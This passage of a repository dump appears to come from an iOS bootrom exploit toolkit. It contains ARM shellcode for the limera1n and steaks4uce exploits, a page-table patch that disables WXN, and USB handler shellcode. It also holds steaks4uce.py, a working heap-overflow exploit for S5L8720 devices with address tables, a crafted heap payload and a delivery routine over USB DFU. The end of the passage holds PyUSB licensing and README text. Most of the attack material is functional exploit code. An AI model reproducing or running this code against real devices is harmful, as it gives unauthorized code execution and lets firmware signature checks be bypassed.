R2, [R0, #4]\n    CMP R2, R1\n    BGT img3_fail                               @ if (R0[1] > MAX_SIZE) goto img3_fail\n\n    MOV R8, R2                                  @ R8 = R0[1]\n\n    MOV R0, R4\n    MOV R1, R6\n    LDR R4, =image3_create_struct\n    BLX R4\n    MOV R4, R0                                  @ R4 = image3_create_struct(SP + IMAGE3_LOAD_STRUCT_OFFSET, R6, R8, 0)\n\n    LDR R3, =image3_load_continue               @ R3 = image3_load_continue\n\n    CBZ R4, img3_branch_R3                      @ if (R4 == 0) goto img3_branch_R3\n\nimg3_fail:\n    MOV R4, #1                                  @ R4 = 1\n\n    LDR R3, =image3_load_fail                   @ R3 = image3_load_fail\n\nimg3_branch_R3:\n    BX R3                                       @ goto R3\n\n.align 2\n\nPWND_STRING:\n.ascii \" PWND:[limera1n]\\x00\"\n"
  },
  {
    "path": "src/steaks4uce-shellcode.S",
    "content": "@ steaks4uce-shellcode.S\n@ Author: axi0mX\n@ Shellcode for steaks4uce exploit with minor improvements:\n@ * reports PWND:[steaks4uce] in USB serial number string\n\n.text\n\n.pool\n.set clean_data_cache,              0xBAD0000a\n.set invalidate_instruction_cache,  0xBAD00006\n.set usb_shutdown,                  0xBAD00005\n.set free,                          0xBAD00011\n.set memz_create,                   0xBAD00013\n.set memz_destroy,                  0xBAD00015\n.set image3_create_struct,          0xBAD00018\n.set image3_load_continue,          0xBAD00019\n.set image3_load_fail,              0xBAD0001a\n.set usb_wait_for_image,            0xBAD0000d\n.set jump_to,                       0xBAD00014\n.set nor_power_on,                  0xBAD00002\n.set nor_init,                      0xBAD00003\n.set usb_destroy,                   0xBAD00004\n.set memmove,                       0xBAD00009\n.set strlcat,                       0xBAD0000c\n\n.set gLeakingDFUBuffer,             0xBAD00010\n.set gVersionString,                0xBAD0000b\n\n.set RELOCATE_SHELLCODE_ADDRESS,    0xBAD00007\n.set RELOCATE_SHELLCODE_SIZE,       0xBAD00008\n.set MAIN_STACK_ADDRESS,            0xBAD00001\n.set LOAD_ADDRESS,                  0xBAD0000e\n.set MAX_SIZE,                      0xBAD0000f\n.set EXEC_MAGIC,                    0xBAD00012\n.set IMAGE3_LOAD_SP_OFFSET,         0xBAD00016\n.set IMAGE3_LOAD_STRUCT_OFFSET,     0xBAD00017\n\n.global _start\n\n.code 16\n_start:\n    B   pwned_dfu_start                        @ goto pwned_dfu_start\n    NOP\n    NOP\n    NOP\n    NOP\n    NOP\n    NOP\n    NOP\n    NOP\n    NOP\n\npwned_dfu_start:\n    LDR R0, =MAIN_STACK_ADDRESS\n    MOV SP, R0                                  @ SP = MAIN_STACK_ADDRESS\n\n    MOV R0, #1\n    MOV R1, #1\n    MOV R2, #0\n    LDR R3, =nor_power_on\n    BLX R3                                      @ nor_power_on(1, 1, 0)\n\n    MOV R0, #0\n    LDR R3, =nor_init\n    BLX R3                                      @ nor_init(0)\n\n    LDR R3, =usb_destroy\n    BLX R3                                      @ usb_destroy()\n\n    LDR R3, =usb_shutdown\n    BLX R3                                      @ usb_shutdown()\n\n    LDR R3, =invalidate_instruction_cache\n    BLX R3                                      @ invalidate_instruction_cache()\n\nrelocate_shellcode:\n    MOV R1, PC\n    SUB R1, R1, #4                              @ R1 = PC - 4\n\n    LDR R0, =RELOCATE_SHELLCODE_ADDRESS\n    CMP R0, R1\n    BEQ pwned_dfu_loop                          @ if (R1 == RELOCATE_SHELLCODE_ADDRESS) goto pwned_dfu_loop\n\n    LDR R2, =RELOCATE_SHELLCODE_SIZE\n    LDR R3, =memmove\n    BLX R3                                      @ memmove(RELOCATE_SHELLCODE_ADDRESS, R1, RELOCATE_SHELLCODE_SIZE)\n\n    LDR R3, =RELOCATE_SHELLCODE_ADDRESS\n    ADD R3, R3, #1\n    BX R3                                       @ goto (RELOCATE_SHELLCODE_ADDRESS + 1)\n\npwned_dfu_loop:\n    LDR R3, =clean_data_cache\n    BLX R3                                      @ clean_data_cache()\n\n    LDR R0, =gVersionString\n    ADR R1, PWND_STRING\n    MOV R2, #40\n    LDR R3, =strlcat                            /* TODO: do this in a more reasonable way */\n    BLX R3                                      @ strlcat(gVersionString, PWND_STRING, 40)\n\n    LDR R3, =usb_wait_for_image\n    LDR R0, =LOAD_ADDRESS\n    LDR R1, =MAX_SIZE\n    BLX R3                                      @ R0 = usb_wait_for_image(LOAD_ADDRESS, MAX_SIZE)\n\n    MOV R4, R0                                  @ R4 = R0\n\n    LDR R1, =gLeakingDFUBuffer\n    LDR R0, [R1]                                @ R0 = gLeakingDFUBuffer\n\n    MOV R2, #0\n    STR R2, [R1]                                @ gLeakingDFUBuffer = 0\n\n    LDR R3, =free\n    BLX R3                                      @ free(R0)\n\n    CMP R4, #0\n    BLT pwned_dfu_loop                          @ if (R4 < 0) goto pwned_dfu_loop\n\n    LDR R5, =LOAD_ADDRESS\n    LDR R0, [R5]                                @ R0 = LOAD_ADDRESS[0]\n\n    LDR R1, =EXEC_MAGIC\n    CMP R0, R1\n    BNE pwned_dfu_not_exec_magic                @ if (R0 != EXEC_MAGIC) goto pwned_dfu_not_exec_magic\n\n    LDR R0, [R5, #0x8]                          @ R0 = LOAD_ADDRESS[2]      /* arg1 */\n\n    LDR R1, [R5, #0xC]                          @ R1 = LOAD_ADDRESS[3]      /* arg2 */\n\n    LDR R2, [R5, #0x10]                         @ R2 = LOAD_ADDRESS[4]      /* arg3 */\n\n    LDR R3, [R5, #0x14]                         @ R3 = LOAD_ADDRESS[5]      /* arg4 */\n\n    LDR R4, [R5, #0x18]\n    STR R4, [SP]                                @ SP[0] = LOAD_ADDRESS[6]   /* arg5 */\n\n    LDR R4, [R5, #0x1C]\n    STR R4, [SP, #0x4]                          @ SP[1] = LOAD_ADDRESS[7]   /* arg6 */\n\n    LDR R4, [R5, #0x20]\n    STR R4, [SP, #0x8]                          @ SP[2] = LOAD_ADDRESS[8]   /* arg7 */\n\n    LDR R4, [R5, #0x4]\n    BLX R4                                      @ R0 = LOAD_ADDRESS[1](R0, R1, R2, R3, SP[0], SP[1], SP[2])\n\n    STR R0, [R5, #4]                            @ LOAD_ADDRESS[1] = R0\n\n    MOV R1, #0\n    STR R1, [R5]                                @ LOAD_ADDRESS[0] = 0\n\n    B pwned_dfu_loop                            @ goto pwned_dfu_loop\n\npwned_dfu_not_exec_magic:\n    LDR R0, =LOAD_ADDRESS\n    MOV R1, R4\n    MOV R2, #0\n    LDR R3, =memz_create\n    BLX R3                                      @ R0 = memz_create(LOAD_ADDRESS, R4, 0)\n\n    CMP R0, #0\n    BEQ pwned_dfu_loop                          @ if (R0 == 0) goto pwned_dfu_loop /* out of memory :-| */\n\n    LDR R3, =LOAD_ADDRESS\n    STR R3, [SP]                                @ SP[0] = LOAD_ADDRESS\n\n    STR R4, [SP, #4]                            @ SP[1] = R4\n\n    MOV R4, R0                                  @ R4 = R0\n\n    MOV R1, SP\n    ADD R2, SP, #4\n    BL image3_load_no_signature_check           @ R0 = image3_load_no_signature_check(R0, &SP[0], &SP[1])\n\n    CMP R0, #0\n    BNE load_failed                             @ if (R0 != 0) goto load_failed\n\n    LDR R1, =LOAD_ADDRESS\n    MOV R2, #0\n    LDR R3, =jump_to\n    BLX R3                                      @ jump_to(0, LOAD_ADDRESS, 0)\n\n    /* jump_to should never return */\n\nload_failed:\n    MOV R0, R4\n    LDR R3, =memz_destroy\n    BLX R3                                      @ memz_destroy(R4)\n\n    B pwned_dfu_loop                            @ goto pwned_dfu_loop\n\nimage3_load_no_signature_check:\n    PUSH {R4-R7, LR}                            @ push_registers(R4, R5, R6, R7, LR)\n\n    MOV R6, R11\n    MOV R5, R10\n    MOV R4, R8\n    PUSH {R4-R6}                                @ push_registers(R8, R10, R11)\n\n    ADD R7, SP, #0x18                           @ R7 = SP - 0x18\n\n    LDR R4, =IMAGE3_LOAD_SP_OFFSET\n    MOV R5, SP\n    SUB R5, R5, R4\n    MOV SP, R5                                  @ SP = SP - IMAGE3_LOAD_SP_OFFSET\n\n    MOV R3, #0\n    LDR R4, =IMAGE3_LOAD_STRUCT_OFFSET\n    ADD R4, R5, R4\n    STR R3, [R4]                                @ *(SP + IMAGE3_LOAD_STRUCT_OFFSET) = 0\n\n    STR R2, [SP, #0x10]                         @ SP[4] = R2\n\n    STR R1, [SP, #0x14]                         @ SP[5] = R1\n\n    STR R3, [SP, #0x18]                         @ SP[6] = 0\n\n    LDR R6, [R1]                                @ R6 = *R1\n\n    MOV R10, R1                                 @ R10 = R1\n\n    MOV R11, R3                                 @ R11 = 0\n\n    LDR R1, =MAX_SIZE\n    MOV R8, R1                                  @ R8 = MAX_SIZE\n\n    LDR R2, [R0, #4]\n    CMP R2, R1\n    BGT img3_fail                               @ if (R0[1] > MAX_SIZE) goto img3_fail\n\n    MOV R8, R2                                  @ R8 = R0[1]\n\n    MOV R0, R4\n    MOV R1, R6\n    LDR R4, =image3_create_struct\n    BLX R4\n    MOV R4, R0                                  @ R4 = image3_create_struct(SP + IMAGE3_LOAD_STRUCT_OFFSET, R6, R8, 0)\n\n    LDR R3, =image3_load_continue               @ R3 = image3_load_continue\n\n    CMP R4, #0\n    BEQ img3_branch_R3                          @ if (R4 == 0) goto img3_branch_R3\n\nimg3_fail:\n    MOV R4, #1                                  @ R4 = 1\n\n    LDR R3, =image3_load_fail                   @ R3 = image3_load_fail\n\nimg3_branch_R3:\n    BX R3                                       @ goto R3\n\n.align 2\n\nPWND_STRING:\n.ascii \"] PWND:[steaks4uce\\x00\"\n"
  },
  {
    "path": "src/t8010_t8011_disable_wxn_arm64.S",
    "content": ".text\n\n.align 2\n\n.globl _main\n_main:\n  # Copy the real pagetable first\n  MOV  X1, #0x180000000\n  ADD  X2, X1, #0xA8000\n  ADD  X1, X1, #0xA0000\n  MOV  X0, 0\ncpy:\n  LDR  X3, [X1,X0]\n  STR  X3, [X2,X0]\n  ADD  X0, X0, #8\n  CMP  X0, #0x1000\n  B.LE cpy\n\n  # Patch our copy\n  MOV  X1, #0x180000000\n  ADD  X2, X1, #0xA8000\n  ADD  X1, X1,   #0x625\n  STR  X1, [X2,#0x600]\n  DMB  SY\n\n  # And now the real one\n  MOV  X2, #0x180000000\n  ADD  X2, X2, #0xA0000\n  MOV  X0, 0\nloop:\n  LDR  X1, [X2,X0]\n  BIC  X1, X1, #0x80\n  BIC  X1, X1, #0x0040000000000000\n  BIC  X1, X1, #0x0020000000000000\n  STR  X1, [X2,X0]\n  DMB  SY\n  ADD  X0, X0, #8\n  CMP  X0, 0x600\n  B.LE loop\n\n  MOV  X0, #0x100D\n  MSR  SCTLR_EL1, X0\n  DSB  SY\n  ISB\n\n  RET\n"
  },
  {
    "path": "src/usb_0xA1_2_arm64.S",
    "content": ".text\n\n.pool\n.set USB_CORE_DO_IO, 0xBAD00006\n.set LOAD_ADDRESS,   0xBAD00001\n.set EXEC_MAGIC,     0xBAD00002\n.set MEMC_MAGIC,     0xBAD00004\n.set MEMS_MAGIC,     0xBAD00005\n.set DONE_MAGIC,     0xBAD00003\n\n.global _main\n_main:\njump_back:\n  BRK  #1\n  BRK  #1\n\n  LDRH W2, [X0]\n  CMP  W2, #0x2A1\n  BNE  jump_back\n\n  STP  X29, X30, [SP,#-0x10]!\n  MOV  X29, SP\n  STP  X20, X19, [SP,#-0x10]!\n\n  MOV  X19, X0\n  LDR  X20, =LOAD_ADDRESS\n\n  MOV  W1, #0xFFFF\n  LDRH W2, [X19,#2]\n  CMP  W1, W2\n  BNE  request_done\n\n  LDR  X0, [X20]                               ; X0 = LOAD_ADDRESS[0]\n\n  LDR  X1, =EXEC_MAGIC\n  CMP  X0, X1\n  BNE  not_exec                                ; if (X0 != EXEC_MAGIC) goto not_exec\n\n  STR  XZR, [X20]                              ; LOAD_ADDRESS[0] = 0\n\n  LDR  X0, [X20, #0x10]                        ; X0 = LOAD_ADDRESS[2]      /* arg1 */\n  LDR  X1, [X20, #0x18]                        ; X1 = LOAD_ADDRESS[3]      /* arg2 */\n  LDR  X2, [X20, #0x20]                        ; X2 = LOAD_ADDRESS[4]      /* arg3 */\n  LDR  X3, [X20, #0x28]                        ; X3 = LOAD_ADDRESS[5]      /* arg4 */\n  LDR  X4, [X20, #0x30]                        ; X4 = LOAD_ADDRESS[6]      /* arg5 */\n  LDR  X5, [X20, #0x38]                        ; X5 = LOAD_ADDRESS[7]      /* arg6 */\n  LDR  X6, [X20, #0x40]                        ; X6 = LOAD_ADDRESS[8]      /* arg7 */\n  LDR  X7, [X20, #0x40]                        ; X7 = LOAD_ADDRESS[9]      /* arg8 */\n  LDR  X8, [X20, #0x8]\n  BLR  X8                                      ; X0 = LOAD_ADDRESS[1](X0, X1, X2, X3, X4, X5, X6, X7)\n\n  LDR  X8, =DONE_MAGIC\n  STP  X8, X0, [X20]                           ; LOAD_ADDRESS[0,1] = DONE_MAGIC, X0\n  B    request_done\n\nnot_exec:\n  LDR  X1, =MEMC_MAGIC\n  CMP  X0, X1\n  BNE  not_memc\n\n  STR  XZR, [X20]\n\n  LDP  X0, X1, [X20, #0x10]\n  LDR  X2, [X20, #0x20]\n  BL   memcpy\n\n  LDR  X8, =DONE_MAGIC\n  STR  X8, [X20]\n  B    request_done\n\nnot_memc:\n  LDR  X1, =MEMS_MAGIC\n  CMP  X0, X1\n  BNE  request_done\n\n  STR  XZR, [X20]\n  \n  LDP  X0, X1, [X20, #0x10]\n  LDR  X2, [X20, #0x20]\n  BL   memset\n\n  LDR  X8, =DONE_MAGIC\n  STR  X8, [X20]\n  B    request_done\n\nrequest_done:\n  MOV  W0, #0x80\n  MOV  X1, X20\n  LDRH W2, [X19,#6]\n  MOV  X3, #0\n  LDR  X4, =USB_CORE_DO_IO\n  BLR  X4\n\n  MOV  W0, #0\n  LDP  X20, X19, [SP],#0x10\n  LDP  X29, X30, [SP],#0x10\n  RET\n\nmemset:\n  MOV  X3, #0x101010101010101\n  AND  X1, X1, #0xFF\n  MUL  X1, X1, X3\n  MOV  X3, X0\n\nmemset_8:\n  CMP  X2, #8\n  B.CC memset_4\n\n  STR  X1, [X0]\n  ADD  X0, X0, #8\n  SUB  X2, X2, #8\n  B    memset_8\n\nmemset_4:\n  CMP  X2, #4\n  B.CC memset_2\n\n  STR  W1, [X0]\n  ADD  X0, X0, #4\n  SUB  X2, X2, #4\n\nmemset_2:\n  CMP  X2, #2\n  B.CC memset_1\n\n  STR  W1, [X0]\n  ADD  X0, X0, #2\n  SUB  X2, X2, #2\n\nmemset_1:\n  CBZ  X2, memset_done\n\n  STR  W1, [X0]\n  ADD  X0, X0, #1\n  SUB  X2, X2, #1\n\nmemset_done:\n  MOV  X0, X3\n  RET \n\nmemcpy:\n  MOV  X4, X0\n\nmemcpy_8:\n  CMP  X2, #8\n  B.CC memcpy_4\n\n  LDR  X3, [X1]\n  STR  X3, [X0]\n  ADD  X0, X0, #8\n  ADD  X1, X1, #8\n  SUB  X2, X2, #8\n  B    memcpy_8\n\nmemcpy_4:\n  CMP  X2, #4\n  B.CC memcpy_2\n\n  LDR  W3, [X1]\n  STR  W3, [X0]\n  ADD  X0, X0, #4\n  ADD  X1, X1, #4\n  SUB  X2, X2, #4\n\nmemcpy_2:\n  CMP  X2, #2\n  B.CC memcpy_1\n  \n  LDRH W3, [X1]\n  STRH W3, [X0]\n  ADD  X0, X0, #2\n  ADD  X1, X1, #2\n  SUB  X2, X2, #2\n\nmemcpy_1:\n  CBZ  X2, memcpy_done\n\n  LDRB W3, [X1]\n  STRB W3, [X0]\n  ADD  X0, X0, #1\n  ADD  X1, X1, #1\n  SUB  X2, X2, #1\n\nmemcpy_done:\n  MOV  X0, X4\n  RET\n"
  },
  {
    "path": "src/usb_0xA1_2_armv7.S",
    "content": ".text\n\n.pool\n.set USB_CORE_DO_IO, 0xBAD00006\n.set LOAD_ADDRESS,   0xBAD00001\n.set EXEC_MAGIC,     0xBAD00002\n.set MEMC_MAGIC,     0xBAD00004\n.set MEMS_MAGIC,     0xBAD00005\n.set DONE_MAGIC,     0xBAD00003\n\n.code 16\n.global _main\n_main:\njump_back:\n  BKPT #1\n  BKPT #1\n  BKPT #1\n  BKPT #1\n\n  LDRH R2, [R0]\n  MOVW R3, #0x2A1\n  CMP  R2, R3\n  BNE  jump_back\n\n  PUSH {R4-R7,LR}\n  ADD  R7, SP, #0xC\n  SUB  SP, SP, #0x10\n\n  MOV  R4, R0\n  LDR  R5, =LOAD_ADDRESS\n\n  MOVW R1, #0xFFFF\n  LDRH R2, [R4,#2]\n  CMP  R1, R2\n  BNE  request_done\n\n  LDRD  R0, R1, [R5]\n\n  LDR  R2, =EXEC_MAGIC\n  CMP  R0, R2\n  BNE  not_exec\n  CMP  R1, R2\n  BNE  not_exec\n\n  MOV  R1, #0\n  STRD R1, R1, [R5]\n\n  LDRD R0, R1, [R5, #0x20]\n  LDRD R2, R3, [R5, #0x28]\n  STRD R0, R1, [SP]\n  STRD R2, R3, [SP, #0x8]\n\n  LDRD R0, R1, [R5, #0x10]\n  LDRD R2, R3, [R5, #0x18]\n\n  LDR  R6, [R5, #0x8]\n  BLX  R6\n\n  LDR  R2, =DONE_MAGIC\n  STRD R0, R1, [R5,#0x8]\n  STRD R2, R2, [R5]\n\nnot_exec:\n  LDR  R2, =MEMC_MAGIC\n  CMP  R0, R2\n  BNE  not_memc\n  CMP  R1, R2\n  BNE  not_memc\n\n  MOV  R1, #0\n  STRD R1, R1, [R5]\n\n  LDRD R0, R1, [R5, #0x10]\n  LDR  R2, [R5, #0x18]\n  BL   memcpy\n\n  LDR  R2, =DONE_MAGIC\n  STRD R2, R2, [R5]\n  B    request_done\n\nnot_memc:\n  LDR  R2, =MEMS_MAGIC\n  CMP  R0, R2\n  BNE  request_done\n  CMP  R1, R2\n  BNE  request_done\n\n  MOV  R1, #0\n  STRD R1, R1, [R5]\n\n  LDRD R0, R1, [R5, #0x10]\n  LDR  R2, [R5, #0x18]\n  BL   memset\n\n  LDR  R2, =DONE_MAGIC\n  STRD R2, R2, [R5]\n\nrequest_done:\n  MOV  R0, #0x80\n  MOV  R1, R5\n  LDRH R2, [R4,#6]\n  MOV  R3, #0\n  LDR  R4, =USB_CORE_DO_IO\n  BLX  R4\n\n  MOV  R0, #0\n  ADD  SP, SP, #0x10\n  POP  {R4-R7,PC}\n\nmemcpy:\n  CMP  R2, #4\n  BCC  memcpy_2\n\n  LDR  R3, [R1]\n  STR  R3, [R0]\n  ADD  R0, R0, #4\n  ADD  R1, R1, #4\n  SUB  R2, R2, #4\n  B    memcpy\n\nmemcpy_2:\n  CMP  R2, #2\n  BCC  memcpy_1\n\n  LDRH R3, [R1]\n  STRH R3, [R0]\n  ADD  R0, R0, #2\n  ADD  R1, R1, #2\n  SUB  R2, R2, #2\n\nmemcpy_1:\n  CBZ  R2, memcpy_done\n\n  LDRB R3, [R1]\n  STRB R3, [R0]\n  ADD  R0, R0, #1\n  ADD  R1, R1, #1\n  SUB  R2, R2, #1\n\nmemcpy_done:\n  BX   LR\n\nmemset:\n  MOV  R3, #0xFF\n  AND  R1, R1, R3\n  LSL  R3, R1, #8\n  ORR  R1, R1, R3\n  LSL  R3, R1, #16\n  ORR  R1, R1, R3\n\nmemset_4:\n  CMP  R2, #4\n  BCC  memset_2\n\n  STR  R1, [R0]\n  ADD  R0, R0, #4\n  SUB  R2, R2, #4\n  B    memset_4\n\nmemset_2:\n  CMP  R2, #2\n  BCC  memset_1\n\n  STRH R1, [R0]\n  ADD  R0, R0, #2\n  SUB  R2, R2, #2\n\nmemset_1:\n  CBZ  R2, memset_done\n\n  STRB R1, [R0]\n  ADD  R0, R0, #1\n  SUB  R2, R2, #1\n\nmemset_done:\n  BX   LR\n"
  },
  {
    "path": "steaks4uce.py",
    "content": "# Credit: This file is based on steaks4uce exploit (heap overflow) by pod2g.\n\nimport struct, sys, time\nimport usb # pyusb: use 'pip install pyusb' to install this module\nimport dfu\n\nconstants_240_4 = [\n    0x22030000, #  1 - MAIN_STACK_ADDRESS\n        0x3af5, #  2 - nor_power_on\n        0x486d, #  3 - nor_init\n        0x6c81, #  4 - usb_destroy\n        0x1059, #  5 - usb_shutdown\n         0x560, #  6 - invalidate_instruction_cache\n    0x2202d800, #  7 - RELOCATE_SHELLCODE_ADDRESS\n         0x200, #  8 - RELOCATE_SHELLCODE_SIZE\n        0x795c, #  9 - memmove\n         0x534, # 10 - clean_data_cache\n         0x280, # 11 - gVersionString\n        0x83cd, # 12 - strlcat\n        0x30e9, # 13 - usb_wait_for_image\n    0x22000000, # 14 - LOAD_ADDRESS\n       0x24000, # 15 - MAX_SIZE\n    0x220241ac, # 16 - gLeakingDFUBuffer\n        0x1955, # 17 - free\n    0x65786563, # 18 - EXEC_MAGIC\n        0x1bf1, # 19 - memz_create\n        0x3339, # 20 - jump_to\n        0x1c19, # 21 - memz_destroy\n          0x58, # 22 - IMAGE3_LOAD_SP_OFFSET\n          0x54, # 23 - IMAGE3_LOAD_STRUCT_OFFSET\n        0x1c5d, # 24 - image3_create_struct\n        0x22cd, # 25 - image3_load_continue\n        0x23a3, # 26 - image3_load_fail\n]\n\nconstants_240_5_1 = [\n    0x22030000, #  1 - MAIN_STACK_ADDRESS\n        0x3afd, #  2 - nor_power_on\n        0x4875, #  3 - nor_init\n        0x6c89, #  4 - usb_destroy\n        0x1059, #  5 - usb_shutdown\n         0x560, #  6 - invalidate_instruction_cache\n    0x2202d800, #  7 - RELOCATE_SHELLCODE_ADDRESS\n         0x200, #  8 - RELOCATE_SHELLCODE_SIZE\n        0x7964, #  9 - memmove\n         0x534, # 10 - clean_data_cache\n         0x280, # 11 - gVersionString\n        0x83d5, # 12 - strlcat\n        0x30f1, # 13 - usb_wait_for_image\n    0x22000000, # 14 - LOAD_ADDRESS\n       0x24000, # 15 - MAX_SIZE\n    0x220241ac, # 16 - gLeakingDFUBuffer\n        0x1955, # 17 - free\n    0x65786563, # 18 - EXEC_MAGIC\n        0x1bf9, # 19 - memz_create\n        0x3341, # 20 - jump_to\n        0x1c21, # 21 - memz_destroy\n          0x58, # 22 - IMAGE3_LOAD_SP_OFFSET\n          0x54, # 23 - IMAGE3_LOAD_STRUCT_OFFSET\n        0x1c65, # 24 - image3_create_struct\n        0x22d5, # 25 - image3_load_continue\n        0x23ab, # 26 - image3_load_fail\n]\n\nclass DeviceConfig:\n  def __init__(self, version, constants):\n    self.version = version\n    self.constants = constants\n\nconfigs = [\n  DeviceConfig('240.4',   constants_240_4),   # S5L8720 (old bootrom)\n  DeviceConfig('240.5.1', constants_240_5_1), # S5L8720 (new bootrom)\n]\n\n# Pad to length 256 and add heap data for overwrite\npayload = '\\x00' * 256 + struct.pack('<14I',\n              # 1. Allocated chunk to be freed\n              # Chunk header: (size 0x8)\n        0x84, #   0x00: previous_chunk\n         0x5, #   0x04: next_chunk\n              # Contents: (requested size 0x1c, allocated size 0x20)\n        0x80, #   0x08: buffer[0] - direction\n  0x22026280, #   0x0c: buffer[1] - usb_response_buffer\n  0xffffffff, #   0x10: buffer[2]\n       0x138, #   0x14: buffer[3] - size of payload in bytes\n       0x100, #   0x18: buffer[4]\n         0x0, #   0x1c: buffer[5]\n         0x0, #   0x20: buffer[6]\n         0x0, #   0x24: unused\n              # 2. Fake free chunk\n              # Chunk header: (size 0x8)\n        0x15, #   0x28: previous_chunk\n         0x2, #   0x2c: next_chunk\n              # Attack fd/bk pointers in this free chunk for arbitrary write:\n  0x22000001, #   0x30: fd - shellcode_address (what to write)\n  0x2202d7fc, #   0x34: bk - exception_irq() LR on the stack (where to write it)\n)\n\ndef generate_shellcode(constants):\n  with open('bin/steaks4uce-shellcode.bin', 'rb') as f:\n    shellcode = f.read()\n\n  # Shellcode has placeholder values for constants; check they match and replace with constants from config\n  placeholders_offset = len(shellcode) - 4 * len(constants)\n  for i in range(len(constants)):\n    offset = placeholders_offset + 4 * i\n    (value,) = struct.unpack('<I', shellcode[offset:offset + 4])\n    assert value == 0xBAD00001 + i\n\n  return shellcode[:placeholders_offset] + struct.pack('<%sI' % len(constants), *constants)\n\ndef exploit():\n  print '*** based on steaks4uce exploit (heap overflow) by pod2g ***'\n\n  device = dfu.acquire_device()\n  print 'Found:', device.serial_number\n\n  if 'PWND:[' in device.serial_number:\n    print 'Device is already in pwned DFU Mode. Not executing exploit.'\n    return\n\n  if 'CPID:8720' not in device.serial_number:\n    print 'ERROR: Not a compatible device. This exploit is for S5L8720 devices only. Exiting.'\n    sys.exit(1)\n\n  chosenConfig = None\n  for config in configs:\n    if 'SRTG:[iBoot-%s]' % config.version in device.serial_number:\n      chosenConfig = config\n      break\n\n  if chosenConfig is None:\n    print 'ERROR: CPID is compatible, but serial number string does not match.'\n    print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.'\n    sys.exit(1)\n\n  dfu.reset_counters(device)\n  dfu.send_data(device, generate_shellcode(chosenConfig.constants))\n  dfu.send_data(device, payload)\n  assert len(device.ctrl_transfer(0xA1, 1, 0, 0, len(payload), 1000)) == len(payload)\n  dfu.release_device(device)\n\n  time.sleep(0.01)\n\n  device = dfu.acquire_device()\n  dfu.usb_reset(device)\n  dfu.release_device(device)\n\n  device = dfu.acquire_device()\n  failed = 'PWND:[steaks4uce]' not in device.serial_number\n  dfu.release_device(device)\n\n  if failed:\n    print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'\n    sys.exit(1)\n\n  print 'Device is now in pwned DFU Mode.'\n"
  },
  {
    "path": "usb/ACKNOWLEDGEMENTS",
    "content": "Alan Aguiar\njaseg\nJohannes Stezenbach\nMarijn van Vliet\nStefano Di Martino\nSimon Norberg\niThompson\nHarry Bock\nponty\nChris Clark\nthemperek\nDavid Halter\nRobert von Burg\nJames Rowe\nBraiden Kindt\nTormod Volden\nChris Clark\nEmmanuel Blot\nPeter Bigot\nTravis Robinson\nXiaofan Chen\nPoul-Henning Kamp\nThomas Reitmayr\nCarl Ritson\nRomain Aviolat\nWalker Inman\nPrathmesh Prabhu\nAndré Erdmann\nJeffrey Nichols\nDeliang Fan\nMatthew Chan\nMaximilian Köhl\n"
  },
  {
    "path": "usb/LICENSE",
    "content": "Copyright (C) 2009-2014 Wander Lairson Costa. All Rights Reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n1. Redistributions of source code must retain the above copyright\n   notice, this list of conditions and the following disclaimer.\n\n2. Redistributions in binary form must reproduce the above copyright\n   notice, this list of conditions and the following disclaimer in the\n   documentation and/or other materials provided with the distribution.\n\n3. The name of the author may not be used to endorse or promote products\n   derived from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE AUTHOR \"AS IS\" AND ANY EXPRESS OR IMPLIED\nWARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO\nEVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\nEXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT\nOF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING\nIN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY\nOF SUCH DAMAGE.\n\n"
  },
  {
    "path": "usb/README.rst",
    "content": "=======================================\nPyUSB 1.0 - Easy USB access from Python\n=======================================\n\nIntroduction\n============\n\nThe PyUSB module provides for Python easy access to the host\nmachine's Universal Serial Bus (USB) system.\n\nUntil 0.4 version, PyUSB used to be a thin wrapper over libusb.\nWith 1.0 version, things changed considerably. Now PyUSB is an\nAPI rich, backend neutral Python USB module easy to use.\n\nAs with most Python modules, PyUSB's documentation is based on Python\ndoc strings and can therefore be manipulated by tools such as pydoc.\n\nYou can also find a tutorial at:\nhttps://github.com/walac/pyusb/blob/master/docs/tutorial.rst.\n\nPyUSB is being developed and tested on Linux and Windows, but it should work\nfine on any platform running Python >= 2.4, ctypes and at least one of the\nbuiltin backends.\n\nPyUSB supports libusb 0.1, libusb 1.0 and OpenUSB, but the user does not need\nto worry about that, unless in some corner cases.\n\nIf you have any question about PyUSB, you can use the PyUSB mailing list\nhosted in the SourceForge. In the PyUSB website (http://walac.github.io/pyusb)\nyou can find instructions on how to subscribe to the mailing list.\n\nInstalling PyUSB on GNU/Linux Systems\n=====================================\n\nThese instructions are for Debian-based systems.  Instructions for\nother flavors of GNU/Linux should be similar.\n\nYou will first need to install the following packages:\n\n1) python (PyUSB is useless without it), version >= 2.4\n2) At least one of the supported libraries (libusb 1.0, libusb 0.1 or OpenUSB)\n3) If your Python version is < 2.5, you have to install ctypes as a separate\n   package, because these versions of Python does not ship it.\n\nFor example, the command::\n\n    $ sudo apt-get install python libusb-1.0-0\n\nshould install all these packages on most Debian-based systems with\naccess to the proper package repositories.\n\nOnce the above packages are installed, you can install PyUSB\nwith the command::\n\n    $ sudo python setup.py install\n\nRun it as root from within the same directory as this README file.\n\nYou can also use `pip <https://docs.python.org/3/installing/>`_ to\ninstall PyUSB::\n\n    $ sudo pip install pyusb --pre\n\nJust bear in mind that you still follow to procedure to install the\nlibusb library.\n\nFor pure Debian variants\n------------------------\n\nFor pure Debian systems you are advised to install either the\npython-usb or python3-usb packages.  These are prebuilt based on\nPyUSB and libusb-1.0::\n\n    $ sudo apt-get install python-usb python3-usb\n\nYou may wish to get the backported version 1.0, since PyUSB\ndoesn't depend upon any truly unstable packages.\n\nInstalling 